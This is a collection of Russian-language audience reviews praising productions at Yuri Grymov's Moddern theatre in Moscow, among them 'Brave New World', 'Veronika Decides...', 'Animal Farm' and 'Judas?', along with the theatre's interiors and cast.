Отзывы о "Модерн"

Недавно мы с подругой открыли для себя Театр "МОДЕРН" Юрия Грымова.

К своему стыду, мы обе были там первый раз. И по незнанию пришли прям перед спектаклем. Не совершайте наших ошибок. Театр открывает двери за час до спектакля и это то место, куда можно и нужно прийти заранее. Я безумно люблю театры, где помимо постановки тебя окружают ещё красивые интерьеры. Как-то у меня такая установка в голове: театр = красиво. А тут всё именно так, как любит мой внутренний театрал. Ходишь и везде изумительно. Мы даже не успели всё посмотреть. В театре 2 буфета с очень приемлемыми для театра ценами. И мы не отказали себе в удовольствии попробовать фирменные эклеры. Кстати, приятный бонус, если не успеваешь допить в антракт, то можно оставить бокал и допить после. Один из буфетов работает и после спектакля. Как раз, допивая свое шампанское после, встретили актёра Игоря Яцко, который играл одну из главных ролей в спектакле, но подходить постеснялись, не стали мешать его отдыху.

А теперь о постановке, конечно же.
В тот день был "О дивный новый мир".
Это одна из моих любимых книг. Читала её в 2020 году. И тогда она была очень символична. Юрий Грымов чуть осовременил, но сохранил главный замысел, ведь это произведение актуально на все времена. Плюсы театра, что маленький зал и удобно всех разглядеть. А посмотреть уж точно было на что. Ох
уж этот дикарь Александр Толмачев, глаз не оторвать. Кажется, я снова влюбилась. В этой постановке вообще невероятный актёрский состав.. Анна Каменева, Игорь Яцко. Нужны ли вообще ещё слова. Меня ещё всё время завораживали костюмы. Вроде ничего особенного, но так цепляли внимание, что хотелось разглядеть у каждого актёра.
На протяжении всего спектакля я думала: не дай бог жить в таком мире. Где люди глушат все свои эмоции и любовь. Нет науки, книг, природы, а только технологии и сплошные "удовольствия".
А потом думаю: ведь большинство живёт так и сейчас. "Каждый принадлежит каждому". И зачем усложнять. А если вдруг что-то затревожит, то всегда есть сома.
Но я выберу чувствовать и не заглушать свои эмоции допингом. А главное - ЛЮБИТЬ.

Я в восхищении и хочу в этот театр ещё и на другие постановки. А плюсом в антракте играл пианист. Такой приятный подарок в качестве живой музыки.

11 сентября я со своей знакомой, побывала в Театр "МОДЕРН" на спектакле -антиутопии Юрия Грымова "О Дивный новый мир".
Не смотря на то, что произведение было написано в начале прошлого столетия, оно как никогда, показалось мне супер актуальным сейчас. Честно говоря, то что я увидела, поразило меня и привело в полный восторг. Но начнем все по порядку.
Надо сказать, что в самом театре «Модерн» я была лет десять назад, хотя живу довольно близко от него. В те времена это был обычный классический театр, с ничем не примечательным интерьером и незаурядными постановками. К своему стыду я даже не знала, что последние годы, его художественным руководителем стал Юрий Грымов. Но даже если бы и знала, мне это ни о чем бы не сказало, потому что я даже не знала кто это. Не бросайте в меня тапками). Когда мы с моей знакомой только зашли в сам театр, я честно говоря немного обалдела, как все изменилось тут. Было ощущение, что ты пришел в крутой ресторан или клуб, с потрясающим интерьерном. Было очень интересно изучить все пространство, которое впечатляет сразу своим дизайном, продуманностью и блеском. На первом этаже есть маленький уютный бар и зал, где представлены фотографии всего актерского состава театра в необычном формате. На втором уютное кафе с живой музыкой, библиотека-кабинет, где можно с комфортом посидеть и пообщаться перед спектаклем, а также много локаций, где можно сделать классные фотографии.
Сам зрительный зал тоже очень комфортный и современный, хоть и не очень большой.
Теперь хочу рассказать о самом спектакле. К сожалению, я не читала сам роман О. Хаксли, но это мне совсем не помешало, а скорее даже сыграло на руку, чтобы увидеть авторский взгляд Юрия Грымова на это произведение и сложить своё впечатление от увиденного.
Современные декорации, костюмы, свет, звуковые эффекты были на высшем уровне. После первого действия, мы с моей знакомой обменялись мнениями. На ее взгляд, у актеров не было глубины игры и был упор на визуальный эффект. Я же, честно говоря, была наоборот в восторге от увиденного, может потому что я в первую очередь больше визуал по своей натуре. Все изменила вторая часть спектакля, тут уже в полной мере раскрылась игра актеров, эмоции и философский подтекст произведения. По моим ощущениям, в некоторых местах очень глубоко копнули с философией, что очень круто, потому что уходила я лично, переваривая некоторые моменты и до сих пор к ним мысленно возвращаюсь.
Не знаю, есть ли смысл описывать само действие, всё-таки лучше 1 раз увидеть, чем 10 раз услышать.
Но могу сказать, что актуальность произведения в наше время очень высока, наш мир стремительно рвется в будущее О.Хаскли, где люди хотят постоянно наслаждаться всеми благами и не думать о тех ограничениях, что есть в нашей действительности. А это такие понятия, как вера, религия, любовь, долг, ответственность, философия, разум и т.п. Большинство людей нового мира уже и не знают что это за понятия, у них есть бог Цукерберг, одна истина на всех «Каждый принадлежит всем остальным», вечная молодость и универсальное средство от всех печалей, горестей и бед - Сома — наркотик, который блокирует восприятие времени, даёт радостный настрой, успокаивает, вызывает приятные галлюцинации. Но как обычно, находятся и те, кто живёт старыми ценностями, понятиями. Столкновение этих двух миров, имеет очень печальные последствия и ставит человека перед выбором жить счастливо и бессмысленно или жить в страданиях, но осознанно...
Думаю, что мне теперь обязательно нужно прочитать этот роман, чтоб ответить себе на некоторые вопросы, которые до сих пор крутятся у меня в голове. Поэтому я очень рекомендую посмотреть спектакль всем любителям оригинальных современных постановок. Сама же я с радостью посмотрю другие постановки Ю.Грымова в его чудесном театре.

Если Вы хоть раз в свой жизни читали антиутопический роман Олдоса Хаксли - «О дивный новый мир», то Вам непременно надо посетить спектакль, который поставлен по этой книге в Театре Модерн, режиссёром которого является Юрий Грымов.
Я читала книгу с год назад, и она меня сильно впечатлила, ведь всё начинаешь сравнивать с тем миром, где живёшь сам... И если, Вы вдруг позабыли сюжет, то в спектакле Вам всё-всё напомнят!
Спектакль поставлен идеально, как будто книгу посмотрела! Были некоторые изменения в названии, например, эра Цукерберга, но это больше для адаптации нашего времени, чтобы понять величие и масштаб.
Спектакль и актёры полностью передали эмоции и впечатления. И снова начинаешь задумываться о жизни... И мне кажется, что думаешь уже по другому, уже некоторые моменты не кажутся такими страшными и в них есть некий смысл.
Думаю, что перечитай книгу ещё раз, будут сделаны для себя новые открытия.
Например, Линайна, как и другие представили высших каст не понимают, такие понятия, как красота, смерть, свобода, любовь, ведь в их обществе нет проблем, волнений, их с младенчества воспитывают так, как необходимо государству, а если у кого-то проявляются какие-то мысли, то всё решается наркотиком - сомой. И их любимое выражение: «Сомы грамм — и нету драм!».
В спектакле используются световые эффекты, которые ещё больше подчёркивают эту всю атмосферу. Отличная идея и её воплощение в жизни!
Мне очень понравился танец, когда Джон или Дикарь спросил у них про понятие Свободы. Танец получился впечатляющим, плюс эти световые эффекты и музыка, мне очень понравилось, жаль снимать нельзя!
Актёры на высоте!!! Хоть это и тяжёлая постановка, но актёры так умело всё проворачивали, что у меня было ощущение, что я как в кино, и для меня книга ожила.
Третий день я под впечатлением и в раздумьях!
А ещё в театре удобные кресла, классный угол обзора и кондиционирование))))
И контролёры очень красивые и пиджачки огонь🔥

«Вероника решает умереть» - это роман знаменитого Пауло Коэльо. А теперь еще и спектакль в театре «Модерн». Чуть-чуть поменяли название, убрав роковое «умереть». И что она решит, станет известно только в ходе спектакля.

Пожалуй, «Вероника решает…» – то, «что доктор прописал» для этого театра! У них особенно ярко и сильно получаются парадоксальные, необычные вещи. Или оригинальная трактовка чего-то привычного. И в этом смысле «Вероника» - вообще класс! Сделано так, что охнешь!

Занавес открывается. На подиуме установлена ванна с красивыми узорами. В ней, вдруг очнувшись, поднимает голову девушка. Это Вероника. Она решила умереть. Первая попытка самоубийства сорвалась – осталась в живых. Но понятно, что она ее повторит. Что тут вообще можно поделать? Врачу приходит в голову удачная мысль – он говорит Веронике, что она и так умрет через семь дней. В силу разных медицинских причин.

Все, самоубийство уже не актуально. А нужно за оставшиеся семь дней хоть как-то осмыслить свою жизнь, понять, чего хочешь и что надо непременно успеть за эти последние дни. И она из всех сил пытается это сделать. Получается сюжет «Оскара и Розовой дамы» наоборот, если вы понимаете, о чем я.

Действие происходит в сумасшедшем доме, куда Вероника попала после попытки суицида. По крайней мере половина того, что можно увидеть на сцене – это фантазии и домыслы героев пьесы. И потому можно разыграться вовсю. А в этом режиссер Юрий Грымов реально неподражаем!

Вокруг героини время от времени возникают – о боже мой, какие! – фигуры древнеегипетских богов: в потрясающих головных уборах, юбках и париках, и всём прочем, что положено древним египтянам. По ходу дела станет ясно, что это не только судьи Суда мертвых, в который верили в древнем Египте, но и просто сотрудники в искаженном восприятии клиентов учреждения. Но картинка врежется в память надолго!

И, конечно, поражают обитатели дома. Мимо ходит женщина-лампа. И еще одна женщина, жертва любви, в алом шелковом платье и на инвалидном кресле. И странный юноша, который случайно узнал о жизни что-то невыразимое, и теперь не может говорить, а только рисует фантастические картинки. А в углу вообще спит папа римский, которому, возможно, все это снится.

А что там дальше происходит и чем все это закончится, я рассказывать не буду. Это надо видеть своими глазами. Поэтому просто приглашаю – сходите, это интересно! Особенно если вы любите странные и необычные сюжеты. Все закончится более-менее благополучно, поэтому можно заранее не расстраиваться и не переживать чересчур за героиню. А когда выходишь из зала, в стильном холле театра тебя встречает все тот же сладко спящий папа римский, и закрадывается сакраментальная мысль - может, и мы со своей московской суетой ему тоже просто снимся?

Актеры играют вполне на уровне, и особенно главная героиня (Анастасия Сычева). И еще – там играет Дмитрий Бозин! Тот самый, знаменитый актер театра Виктюка! Хотя узнать его будет непросто. Так что идти стоит безусловно!

Когда Юрий Грымов объявляет проведение открытой репетиции нового спектакля, бегу на нее буквально со всех ног, "теряя тапки". Пропустить такое я никак не могу. Во-первых, это явление в театральной жизни невероятно редкое, далеко не каждый режиссер согласится показать зрителям тонкости репетиционного процесса, а во-вторых, и это главное, обожаю моменты живого общения Грымова с актерами, когда на твоих глазах рождается рисунок спектакля, когда в многократном повторении одной и той же фразы появляется именно та, самая правильная интонация, когда можно увидеть филигранную работу со светом, когда даже нет еще готовых костюмов, но по поведению актеров на сцене можно угадать особенности характеров героев.
Репетируют "Скотный двор". Да, да, того самого, великого и могучего Оруэлла, которого так боятся ставить многие режиссеры, столько иносказаний, вторых и третьих смыслов заложено в его произведениях. Грымов не боится. Для него главное, чтобы то, что он ставит, находило отклик в его собственной душе, а его сплоченный коллектив идет за режиссером и в огонь и в воду. Сколько уже было подобных примеров, начиная с 2016 года, когда Грымов возглавил театр. Теперь он ответственен здесь за все и со свойственной ему прямолинейностью утвреждает, что театр может быть только режиссрским. Или это будет уже другой театр. Да вот взять хотя бы одну из недавних великолепных работ театра "Цветы нам не нужны". Находились "доброжелатели", которые отговаривали Грымова вести разговор на подобную тему. Фашизм, Шпандау... Но в упрямстве Грымов - чемпион. Раз тема волнует, она должна быть воплощена.
Так же и с Оруэллом. В книге британского писателя на примере отдельно взятого скотного двора показаны принципы сталинского правления, но то, что ставит Грымов, гораздо шире, глобальнее и современнее. У книги, написанной в 1945 году, нашлось достойное продолжение в виде пьесы, созданной для "Модерна" драматургом Мариной Сулчани. В постановке задействованы практически все ведущие актеры театра, которые самым волшебным образом перевоплощаются на сцене в обитателей скотного двора. На открытой репетиции своеобразным элементом игры было угадать, кто из актеров какое животное изображает. Практически всех угадала, ощиблась только в парочке пернатых, пришлось к стыду своему, подходить к актерам и уточнять. Интересно же. А характеры животных, вообще-то, замечательно переданы и без костюмов. Только "человеческие" персонажи выглядели на репетиции так, как это будет в спектакле. С остальными - большой вопрос. Пока загадочная униформа свиней, лошадей, кур и прочих копытных и пернатых, задуманная художником Катей Никитиной, шьется в Петербурге, режиссер все еще в раздумьях, а надо ли? Но пока не попробуешь, не поймешь. И этим тоже интересна открытая репетиция - посмотреть ее, увидеть потом готовый спектакль и сравнить свои ощущения. Поверьте бывалому зрителю "Модерна", готовый спектакль - всегда сюрприз. Пока же можно насладиться тем, как Юрий Грымов и актеры углубляются в процесс, как будто мы, зрители, люди-невидимки. Зато потом, когда актеры уходят со сцены, режиссер готов ответить на любые вопросы из зала. А их всегда бесконечное количество. Разных, всяких, обо всем.
По факту ясно одно - на спектакль непременно надо идти, чтобы не пропустить в жизни что-то очень важное. А пока копим в себе массу эмоций, полученных на репетиции, запоминаем принципы "скотократии", размышляем о превращении животных в людей и наоборот и вылавливаем билеты. Если они еще остались. Премьера спектакля 5 октября, а для тех, кого вдохновил мой сумбурный текст, есть еще одна эксклюзивная возможность увидеть творческий процесс. Вторая открытая репетиция состоится 29 сентября. Опять же ловим билеты.
Не реклама, от души.

Сколько раз прихожу в театр Модерн, столько раз не перестаю удивляться и восхищаться его содержанием. Потрясающей красоты интерьеры, со вкусом, выдержанные, аристократичные, и в то же время насыщенные, яркие. Каждый зал оформлен в особенном стиле, и в то же время, все помещения объединены единой концепцией. Концепция и образ мыслей Юрия Грымова прослеживается в каждой детали. Одна портретная галерея актеров заставляет глаза округляться. В театре работают… Нет-нет, не так… Театру служат действительно вдохновленные, творческие люди. Прекрасный коллектив, начиная от креативного художественного руководителя до службы безопасности. Очень рада, что имею возможность выразить благодарность капельдинерам. Какие же ухоженные, вежливые и внимательные дамы встречают зрителей и помогают сориентироваться. Приятно снова и снова возвращаясь в «Модерн», видеть знакомые, радушные лица. Эти очаровательные женщины создают атмосферу и настроение в театре, что очень ценно.
Настолько все в Модерне работает на то, чтоб произвести впечатление на зрителя, что даже финальная точка спектакля «Вероника решает…» поставлена красиво. Сразу видно, что художественный руководитель профессионал своего дела, а еще клипмейкер, продюсер и рекламщик от Бога. Спускаясь по лестнице, ведущей от зрительного зала к выходу, на первом этаже сложно не заметить спящего епископа. Этакий последний штрих, яркий мазок по холсту, подпись автора. Епископ был одним из действующих лиц спектакля, правда проспал в своем кресле оба действия, сперва на полу сцены, а потом на потолке, и вот теперь переместился в фойе, все так же мило похрапывая. Однозначно, эффектное зрелище.
«Вероника решает» - это постановка Юрия Грымова по потрясающей книге Пауло Коэльо «Вероника решает умереть» о желании жить, о том, как важно ценить каждый прожитый день. На ее страницах молодая девушка Вероника на грани отчаяния. Она устала от тоскливой однообразной жизни и решает покончить с собой, приняв большую дозу снотворного. Попытка оказывается не удачной, и просыпается она уже в стенах психиатрической лечебницы. В спектакле момент пробуждения Вероники, актрисы Анастасии Сычевой, воплощена очень зрелищно. В центре сцены на постаменте красивая изогнутая ванная с египетскими изображениями, из нее выныривает героиня, как бы перерождаясь и попадая в новый мир, где ее встречают египетские боги, во главе с богом солнца Ра в исполнении неподражаемого заслуженного артиста России Дмитрия Бозина.
На протяжении всего спектакля ей предстоит разобраться, в чем грань между состоянием безумия и осознанностью, понять, кто безумен, а кто несчастен, где эти сумасшедшие, внутри нас или вокруг, и что такое вообще сумасшествие. Нормальность понятие очень субъективное, для каждого оно свое, что одному кажется безумством, для другого выглядит вполне адекватно и объяснимо. У кого-то хватает силы характера, решительности противостоять правилам и преодолевать общепринятые нормы. Становится ли он от этого сумасшедшим или просто не понятым, а то, что не понятно, проще провозгласить вне закона, чем объяснить и принять.
Доктор Игорь, роль которого исполнил Роман Зубрилин, открывает Веронике страшную правду. Огромная доза снотворных таблеток, которые она приняла, летально подействовали на организм и через семь дней, на восьмой наступит неминуемая смерть. Сначала она хочет поскорее завершить начатое, мечется в поиске новой порции таблеток, но постепенно, знакомясь и узнавая пациентов клиники, к ней возвращается желание жить. Обитатели лечебницы рассказывают свои трогательные истории и открывают глаза девушке на другой мир, в котором люди страдают, чувствуют, переживают, влюбляются, верят, надеются вопреки всему. Особенное впечатление на меня произвел глубокий, пламенный, эмоциональный и страстный рассказ Зедки, женщины в красном платье. На мой взгляд, это был самый мощный момент постановки, самая сильная актерская игра, на грани безумия, но не переходя ее. Монолог Зедки, ее роль исполнила заслуженная артистка России Маргарита Шилова, в финале первого акта заставил замереть и вслушаться, поверить, настолько это было искренне и проникновенно. Она проживала каждое слово, и зрители проживали и переживал вместе с ней. Когда вероника обняла несчастную пациентку, страдающую депрессией, весь зал обнял их обеих мысленно, я в этом не сомневаюсь.
Музыка создает и поддерживает атмосферу на протяжении всего спектакля. Невероятное количество мировых хитов прозвучало со сцены, начиная от Колы Бельды и заканчивая Скорпионс. Это какой-то слуховой экстаз, одна музыка сменяется другой. Она органично вплетена в сюжет, соответствует моменту, но в то же время противоречивая и заставляющая встрепенуться из раза в раз. Словно музыка продолжение и воплощение каждого персонажа, она передает то, что невозможно выразить словами, что осталось недосказанным, завершает образ. Точно так же, как и визуальные эффекты, не дают расслабиться и заскучать. Мне кажется, в этот вечер на сцену просыпались килограммы блесток в течении двух действий, и послышались десятки удивленных вздохов в зале. Каждая новая сцена вызывает эффект неожиданности: ванная посреди сцены, пианино, костюмы египетских богов, живой вокал, спящий епископ, женщина-люстра и многое много другое, а во втором акте все переворачивается с ног на голову.
Так происходит, потому что и сознание, ощущение себя Вероники меняется. Она начинает чувствовать, влюбляется в художника-шизофреника Эдуарда. Его роль играл Лев Смирнов. В начале спектакля он совершенно отрешенный, а в финале практически излечился любовью. Любовь преображает все на свете и делает прекрасным. Картины Эдуарда тоже меняются со временем. Я думаю, что, показывая зрителю, как пишется картина, как из хаоса и цветных пятен появляются силуэты и очертания, режиссер передает свое понимание мировоззрения: шедевр рождается из размытых мазков, разум из безумия. Все относительно и зависит от точки зрения, крупица истины есть во всем. Вот Вероника снова смогла сесть за клавиши, преодолела пятилетний страх. Она играет и поет, выплакивая свою боль, обретая свободу. Казалось бы, она вот-вот начинает жить, но наступает последний день ее пребывания в лечебнице…
Пожалуй, оставлю интригу и не буду раскрывать финал. Пусть мой отзыв закончится тем же троеточием, что и название спектакля. В постановке столько интересного, что хочется посмотреть снова. Хочется продолжать рассматривать и осмысливать детали, метафоры, приемы, ведь все здесь имеет смысл, все важно. «Вероника решает…» не только наполнен глубоким смыслом и является манифестом жажды жизни, но и пронизан тонким юмором, забавными сценами, философскими мыслями, полунамеками и загадками, которые так приятно постепенно разгадывать.

Москвичи - это особый народ. Ведь не просто так говорят Москва , это не Россия , она живет по другому. А вот если МАсквичи ? Слышали о таких ? Я впервые о них узнала и услышала в Театре «Модерн». Уже писала о том, что только открыла для себя этот театр и приняла втайне решение по максимум посмотреть спектакли из репертуара этого театра. Вот поэтому и отправилась снова в этот театр на театральный свой вечер и выбрала спектакль «МАсквичи». Название необычно интересное и связано с Москвой и жителями, только в необычных условиях.
Сюжет простой – престарелые родители приехали к своим детям из России в Америку.
Старшая дочь - блогер, ведет прямые эфиры, ее муж темнокожий кубинец, таксист, сын от первого брака - стартапер, разрабатывающий компьютерную игру.
Младшая дочь - медработник в клинике. Живут в Америке уже давно, уехав из России совсем юными.
Приезд родителей , людей старой закалки с консервативными взглядами, переворачивает их уклад жизни. Отец возмущен, что старшая дочь приняла американское гражданство и поменяла имя свое данное при рождение . Ведь Ася звучит так загадочно и волнительно, а тут Ариэль – то ли имя то ли порошок ? А младшая ? Которая могла бы в России иметь уважение и почет, чуть ли не горшки выносит! Это с таким то образованием и знаниями медицины ! Зять не поддерживает революцию в Кубе, да еще пьет вино вместо рома ! Внук , который носит женскую одежду, да еще в ней и фотографируется !
Сталкиваются поколения, пять человек, культура двух стран. Что стоит только исполнение трех гимнов , которые они поют.
Одни ностальгируют по СССР, другие мыслят прогрессивно и ратуют за свободу самовыражения и личное пространство.
Может вы узнаете свои семьи ? И необязательно это должно быть в другой стране, и у нас , живя в одной стране, страсти между поколениями также бурно кипят! Трогательные застолья с воспоминанием о советском прошлом, сменяются дебошами в больнице, Кинг Конгом и сценами из компьютерной игры внука.
Юрий Грымов поставил не только веселую, энергичную постановку, а постановку , которая заставляет задуматься. Давайте друг друга воспринимать такими какими мы есть , не диктовать свои правила, у каждого поколения они будут свои!
Я часто слышу от своего папы : «Я не понимаю, как это возможно !» А теперь и своим детям говорю : « Вы делайте, как считаете нужным, мне сложновато это понять !» И это не потому что они неправильно поступают, у них другой уклад, другой стиль жизни, отличный от моего.
Удивительные декорации в этом спектакле. Весь спектакль за заднем плане Манхеттен с Эмпайр-стейт-билдинг (визитной карточной Нью Йорка), и день сменяется ночью, гаснут и загораются окна домов большого яблока.
Ушла из театра с желанием вернуться. А это самое главное!

Шла впервые в театр «Модерн» на спектакль Юрия Грымова с необычным названием «Цветы нам не нужны».
Начну с театра. Это театр – Храм Искусства, весь в цветах. Все очень изысканно и благородно. Звучит музыка, выставка очков и пенсе из частной коллекции, на стенах портреты артистов, работников театра , но у них как будто нет одежды, но все в этом театре такое воздушное!
Входим в зрительный зал и сразу оказываемся на Нюрнбергском процессе. В голове проносится и при чем тут ЦВЕТЫ ?
Страшный мир в этом спектакле рассматривается с разных позиций. Это уже не тот величественный мир, который хотели установить во всем мире, это мир людей потерпевших крах в этом стремлении.
Спектакль сложный, но смотрю не отрываясь, как бы заглядываю за ту сторону окна! Спектакль о суде над нацистскими преступниками, наказанием и показано, как преступники отбывают это наказание. А параллельно с ними возникает Чарли Чаплин . И может эта параллель проведена неслучайно ?
Сторонники страшного мира насилия постепенно меняются, начинают мечтать о чем-то человеческом и чувствуется их боль сломленной души. Но особенно неоднозначен Рудольф Гесс, в исполнении Юрия Анпилогов. Он понимает какую боль причинил людям, но упорно не хочет в этом признаться. И только ежик становится немым свидетелем его боли, потеряв которого , он впадает в безумство.
Что это ? Призыв к людям посмотреть вокруг себя и остановиться, одуматься и забыть это страшное слово ***** !
Спектакль Юрий Грымова о людях ***** , ярых его сторонников, в непривычный для нас момент, после Нюрнбергского процесса. Он как бы раскладывает их души на частички, показывает их изнутри. А там боль, мучения и огромное желание жить, жить по доброму и светлому. Но к сожалению, с таким грузом , как у них это уже не получится и невозможно. Это не только их боль и страдания, это стало болью и страданием миллионов.
И понимаю название спектакля . Да, цветы таким людям не нужны!
Такие спектакли нужны ! И как бы не было тяжело их смотреть надо !
Это нужно не мертвым ! Это нужно живым !

Спектакль «Вероника решает» в театре «Модерн»

Ты решил, чем займешься сегодня? Помнишь Веронику? Так вот, «Вероника решает»… умереть.

Думаю, Веронику мучила жажда. Поэтому-то она и выпила воды. А то, что заодно была проглочена нешуточная горсть таблеток, совсем не важно! Чем не вариант утолить ту самую «жажду» путешествия в условную загробную «Нетландию»?

Правда, метод оказался ненадежным. План сорвался, и Вероника очутилась в лечебнице для душевнобольных. Вернее, в ее интерпретации театра «Модерн».

Ну, хоть перед «Всевышним» удалось предстать. Даже перед несколькими богами одновременно! Египетскими, конечно. Разве странно, что у них вместо колесниц… инвалидные коляски? Были б машины – получились бы «Deus ex machina». Да, для пациентов, наблюдающих за всей этой процессией, происходящее – рядовые будни. Доктор Игорь тоже не удивлен. Непонятно только, как же все-таки свести счеты с дурацкой несокрушимой жизнью.

Постой! Игорь уверен, что Веронике осталась всего неделя, – и заветная цель будет достигнута. Скрасить ненавистные последние деньки помогут задушевные беседы с товарищами по несчастью, музыка культовых исполнителей, сопровождающая спектакль-мюзикл, и не менее мелодичная, робкая, трепетная, как «Лунная соната» Бетховена, любовь к Эдуарду. Жаль лишь, что он отчего-то молчит. Впрочем, ничего страшного! Вероника найдет другой – невербальный – способ общения с ним. Например, объятия! Тем более, за него все сказал художественный руководитель «Модерна», Юрий Грымов!

Ты обязательно поймешь, о чем именно «говорят» с тобой спектакль, режиссер и сам Пауло Коэльо. Дело за малым: реши наконец, как проведешь вечер, и иди в театр!

А, и кстати, «Вероника решает»… жить!

Пролог.
Иногда я думаю о том, что из Святого писания правда, а что вымысел. И даже иногда мечтаю, что если бы я могла вернуться в прошлое, то могла бы раскрыть столько будоражащих сознание человечества тайн... У писателей и режиссеров своя машина времени, но часто такое путешествие оставляет еще больше вопросов...

Я очень долго этого ждала, и вот свершилось - наконец я увидела на сцене театр "Модерн" завершающий трилогию "Антихрист и Христос" спектакль Юрия Грымова "Иуда?". Напомню, что первые два спектакля трилогии - это "Петр I" и "Леонардо". Однако, была еще постановка "Цветы нам не нужны", которую многие зрители называли прологом к трилогии, и я с ними полностью согласна. Все спектакли серии "Антихрист и Христос" объединены идеей глубокого анализа жизни и деятельности самых значимых личностей в истории, культуре и религии, каждая из которых радикально повлияла на человечество. Или нет?.. Кто стоял за спиной у каждого из них, Антихрист или Христос? Посмотрев все три части, каждый зритель сделает свой вывод.

Как погрузить всех зрителей вне зависимости от возраста, веры, национальности, гендера, в постановку по известному всем сюжету из Евангелия так, чтобы это было ново, интересно и неожиданно? Как из, казалось бы, пресной научной и религиозной темы создать спектакль, на котором всегда будут аншлаги? Драматургу Александру Шишову и режиссеру Юрию Грымову это удалось. Спектакль начинается с конца, с наших дней, с лекции профессора на тему предательства Иуды, с обсуждения возможной выгоды, ради которой Иуда пошел на этот шаг, с поиска других причин и с предположений, что было бы, если бы Иуда не предал Иисуса. На последний вопрос есть два наиболее очевидных ответа: Иисуса арестовали бы все равно, просто на пару дней позже, или эта страшная участь не постигла бы Христа, но и Божественный замысел не осуществился бы. Очень необычно для театра "Модерн", и это, конечно, заинтриговало, но где-то на десятой минуте лекции от ставшего занудным спора мне стало немного скучно, - хотелось грымовской экспрессии. Вот тут всех зрителей и ждал сюрприз: сначала необычное появление новых участников лекции, оживившее зал, а потом и вовсе молниеносный скачок во времени.

И перед нами уже не научные дебаты, а омовение Иисусом ног своим ученикам. Это медленное смиренное молчаливое действие, льющаяся на сцену вода, плавные движения персонажей погрузили зал в состояние покоя и мира. На протяжении всего спектакля фрагменты с Иисусом будто бы излучали благодать, такие чувства передать в спектакле - это действительно многого стоит. И на этом фоне коварные замыслы, циничные интриги, эгоизм, трусость и подлость предателей смотрелись особенно зловеще. К тому же, впечатление усиливали дополнительные эффекты, созданные на сцене. Например, Понтий Пилат, выезжающий на сцену на коне, напоминает отсылку к "Откровению святого Иоанна Богослова": "И я взглянул, и вот, конь бледный, и на нем всадник, которому имя «смерть»; и ад следовал за ним; и дана ему власть над четвертою частью земли — умерщвлять мечом и голодом, и мором и зверями земными", - ведь здесь можно понимать как смерть в прямом смысле, так и в духовном, что очень подходит к сюжету спектакля. Так, в одном из эпизодов женщина под копытами его коня умирала от жажды, а в другом - под копытами коня лежали мертвые люди. И, конечно, эмоций, как и во всех спектаклях Юрия Грымова, добавляли созданные им потрясающие звуковое и музыкальное оформление и художественный свет, оживляющие такие привычные поклонникам творчества Юрия Грымова декорации. Отдельно хочется отметить гармоничные, детально проработанные костюмы без излишеств.

Мы привыкли, что в большинстве случаев Христа изображают словно только что сошедшим с иконы, тогда как он - Сын Человеческий, воспитанный в благочестивой семье и освоивший вполне земную профессию плотника. В постановке, или, возможно, это только мое восприятие, Христос показался мне непривычно естественным, приземленным, и, я бы даже сказала, немного дерзким. Тем временем, у него были свои размышления, сомнения, друг и любимая женщина, - хотя это, конечно, тоже предположения и мысли авторов. Мне даже нравится такая интерпретация тем, что она делает Иисуса более естественным, близким и понятным людям, которым он проповедовал. Впрочем, налет дерзости может быть связан не с режиссерским замыслом, а с реальным характером актера, который играет Иисуса. Но и такое видение Христа имеет место быть, ведь правды мы никогда не узнаем, а люди любят фантазировать на темы, которые навсегда останутся тайной. И я встречала литературу на тему непростого характера и неоправданно дерзкого поведения Христа. Но самое большое замешательство у меня вызвала личность Иуды, а впоследствии - финал. Это самая необычная теория, или фантазия, на тему евангельского сюжета, которую я когда-либо встречала. Рассказывать не буду, поверьте, это должно быть неожиданностью именно в момент спектакля! Скажу только, что это навсегда отпечаталось у меня в голове, и мой взгляд на предательство Иуды никогда не будет прежним. Наверное, для меня просто это было бы самым оптимальным, самым желаемым вариантом развития событий тех давних, возможно, даже не произошедших событий...

И, конечно, в очередной раз отмечу, какая замечательная труппа в театре "Модерн", как удачно Юрий Вячеславович подбирает актеров на роли, и какие характерные и запоминающиеся получаются персонажи его постановок. Кто же сыграл персонажей, чьи лики у каждого из нас непременно ассоциируются с иконами и фресками? Роль Иуды исполнил молодой актер Лев Смирнов, Иисуса сыграл Богдан Щукин, Исхака - Вадим Пинский, Каифу - Алексей Багдасаров, Зиновия - Денис Игнатов, Ирода - Константин Конушкин, стражника - Алексей Баранов, слугу Пилата - Диллон Олойеде. Очень мне понравился Понтий Пилат, роль которого исполнил Александр Борисов, он даже внушал какой-то ужас, такой тихий и неотвратимый. Марию Магдалину сыграла Марианна Канивец, и, учитывая ее необыкновенные черты лица, иначе быть и не могло. Ну и конечно если сюжет предполагает на сцене массовость, Юрий Вячеславович не обходит это стороной, поэтому в спектакле было задействовано много актеров, играющих сначала студентов на лекции, а потом народ Назарета. Посмотрев хотя бы несколько спектаклей в театре "Модерн", запоминаешь ведущих артистов Театра, и в каждой следующей постановке с большим интересом наблюдаешь их перевоплощения. К тому же, благодаря уже знакомым лицам, погружение в спектакли становится более легким и быстрым.

Мне повезло, не так давно я смотрела спектакль "Иуда Искариот" в другом театре, и там тоже подробно рассматривался этот же вопрос. После, конечно, я перелопатила море литературы, изучив все возможные, как мне казалось, варианты. Поэтому финал спектакля "Иуда?" Юрия Грымова стал для меня особым шоком. И пускай такой версии я еще нигде не встречала и вряд ли встречу, но как же это интересно, свежо и запоминаемо! Конечно же я не расскажу вам финала, ведь я очень хочу, чтобы вы испытали на спектакле те же эмоции, какие испытала я. Юрий Вячеславович каждый раз удивляет меня своими постановками и уникальными проектами в стенах театра "Модерн". И я с нетерпением жду новой встречи с Театром.

Эпилог.
"И зла тоже нет, точнее, оно не существует само по себе. Зло есть лишь отсутствие Бога, подобно тому, как тьма и холод - отсутствие света и тепла. Это - всего лишь слово, используемое человеком, чтобы описать отсутствие Бога. Не Бог создал зло. Зло - это результат того, что случается с человеком, в сердце которого нет Бога. Это как холод, наступающий при отсутствии тепла, или тьма - при отсутствии света."
© Притча об Альберте Эйнштейне и профессоре

